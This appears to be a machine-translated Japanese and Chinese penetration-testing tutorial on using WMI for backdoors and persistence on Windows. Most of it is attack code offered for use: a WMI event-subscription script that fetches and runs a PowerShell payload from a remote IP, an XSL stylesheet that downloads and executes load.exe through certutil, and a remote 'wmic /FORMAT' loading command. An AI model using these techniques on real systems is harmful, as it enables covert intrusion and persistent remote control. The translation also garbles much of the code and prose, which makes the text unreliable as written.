0x01の序文
WMICは、WMI(Windows管理インストルメンテーション、Windowsの管理ツール)を拡張し、システム管理を実行するためのコマンドライン・インタフェースとバッチコマンドスクリプトのサポートを提供します。
2015年にマット・Graeberのブラックハット総会は非WMIファイルは、バックドアを使用することですについて説明します。
WMIは、Windowsシステムを管理するためのメソッドや関数の集合として記述することができます。私たちは、Windowsのシステムで相互に通信するためのAPIとしてそれを取ることがあります。侵入テストのWMI値は、WMIはWindowsのシステムが機能が付属しているので、それは、ダウンロードしてインストールする必要はないということです。そして、全体的な動作は、痕跡を残さずに、コンピュータのメモリで行われます。
0x02のWMI一般的な使用
情報検索システム
インストールされたソフトウェア検索システム
WMIC製品リストブリーフ|より
WMICサービス一覧ブリーフ|より
より|簡単なWMICスタートアップリスト
検索コンピュータのドメインコントローラ
WMIC NTDOMAINリストブリーフ
以下は、場所を変更する必要があり、それは大胆なリモートペイロードアドレスである三つの機能が指定されたイベントWMIに挿入され、非常にシンプルで、WMIが指定したイベントを削除するコードに、WMI-Persistence.ps1スクリプトで、その後、WMIイベントを照会します
もちろん、あなたも、あなたがしたいイベントの名前を変更することができますが、ないうち一見、そんなに文句を言うためにも、あまり変わりません
#の 機能 Install- 永続{ $ペイロード = " <strong>の((新しいオブジェクトnet.webclient).downloadstring( 'http://192.168.3.68:80/logo.gif'))</ strong>の" $ EventFilterName = 'クリーンアップ' $ EventConsumerName = 'DataCleanup' $ finalPayloadは = " <強い>たpowershell.exe -nop -c`" IEX $ Payload` "</ strong>の" #イベントフィルタを作成します $ EventFilterArgs = @ { EventNamespace =「ルート/ CIMV2 " 名前 = $ EventFilterName クエリ = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstanceのISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime> = 240とTargetInstance.SystemUpTime <325 」 QUERYLANGUAGE = 'WQL' } $フィルター =セットWmiInstance -namespaceルート/サブスクリプション-Class __EventFilter -Arguments $ EventFilterArgs #作成CommandLineEventConsumer $ CommandLineConsumerArgs = @ { 名前 = $ EventConsumerName CommandLineTemplate = $ finalPayload } $の消費者 =セットWmiInstance -namespaceルート/サブスクリプション-Class CommandLineEventConsumer -Arguments$ CommandLineConsumerArgsの #作成FilterToConsumerBinding $ FilterToConsumerArgs = @ { フィルター = $フィルタの 消費者 = $コンシューマー } $ FilterToConsumerBinding = -namespaceルート/サブスクリプション・WmiInstanceを設定-Class __FilterToConsumerBinding -Arguments $ FilterToConsumerArgs #イベントフィルタを作成したの確認 $ EventCheck =は、Get-WmiObjectコマンド-namespaceルート/サブスクリプション-Class __EventFilter - フィルター " 名= '$ EventFilterName' " 場合($ EventCheck -ne $ nullの){ 書きます-host " イベントフィルタの$ EventFilterNameが正常にホストするために書かれた" } #はイベント消費者が作成されたの確認 $ ConsumerCheck - =は、Get-WmiObjectコマンド-namespaceルート/サブスクリプション-Class CommandLineEventConsumer フィルター " 名= '$ EventConsumerName' " もし($ ConsumerCheckの -ne $ヌル){ 書く -Hostを" イベントコンシューマー$ EventConsumerNameが正常にホストするために書かれた" } #はFiltertoConsumerが作成された確認してください $ BindingCheck =は、Get-WmiObjectコマンド-namespaceルート/サブスクリプション-Class __FilterToConsumerBinding -フィルター " フィルター= "" __eventfilter.name = '$ EventFilterName' " "" もし($ BindingCheck -ne $ nullを{) 書く -Hostを" 消費者にフィルターに成功ホストするために書かれたバインディング" } } 機能削除し、永続{ $ EventFilterName = 'クリーンアップ' $ EventConsumerName = 'DataCleanup' #のコードをクリーンアップ-あなたが永続性をインストールしている場合は、このコードをコメントアウトそれ以外の場合になります $ EventConsumerToCleanup =は、Get-WmiObjectコマンド-namespaceルート/サブスクリプション-Class CommandLineEventConsumer - フィルター $ FilterConsumerBindingToCleanup | Remove- WmiObjectコマンド $ EventConsumerToCleanup | Remove- WmiObjectコマンド $ EventFilterToCleanup | Remove- WmiObjectコマンド } 機能チェックWMI {-ホストを書きます" すべてのルートのイベントを表示するとフィルタ「 -は、Get-WmiObjectコマンド-namespaceルート/サブスクリプションクラス__EventFilterを 書く -Hostを」すべてのCommandLineイベント消費者を示す「 取得 -WmiObject -namespaceルート/サブスクリプション- クラスCommandLineEventConsumerを 書く -Hostを」消費者バインディングへのすべてのフィルターを表示」 取得 -WmiObject -namespaceルート/サブスクリプション- クラス__FilterToConsumerBinding }
そして、通常の挿入が成功すると、ターゲットが再びシステム管理者[管理者]通常のログインを再起動したときに、システムが私たちのペイロードにバックグラウンドポーリングイベントのときに[しばらく待たなければならないことがあり2016]の瞬間を待ってイベントを挿入し始めました、実行をトリガされます
PS>インポート、モジュール。\ WMI- Persistence.ps1 PS > Install- 永続 PS >チェックインWMI
その後、ビーコンシステム権限が正常にバウンス
また、WMIのリモートロードを使用することができます
<?xml version=``'1.0'``?> <stylesheet xmlns=``"http://www.w3.org/1999/XSL/Transform" xmlns:ms=``"urn:schemas-microsoft-com:xslt" xmlns:user=``"placeholder" version=``"1.0"``> <output method=``"text"``/> ``<ms:script implements-prefix=``"user" language=``"JScript"``> ``<![CDATA[ ``var r = ``new ActiveXObject(``"WScript.Shell"``).Run(``"cmd.exe /c certutil -urlcache -split -f <strong>http://*/load.jpg</strong> %temp%/load.exe & %temp%/load.exe & certutil.exe -urlcache -split -f http://*/load.jpg delete"``,0); ``]]> </ms:script> </stylesheet>
修改WMI-Persistence.ps1 脚本,只需把payload部分换下就行,别的不需要动
wmic os get /FORMAT:"http://192.168.3.68:80/wmi.xsl"
powershell -exec bypass PS > Import-Module .\WMI-Persistence.ps1 PS > Install-Persistence PS > Check-WMI PS > Remove-Persistence 用完以后务必要记得随手删掉
也可以达到自定义上线的目的。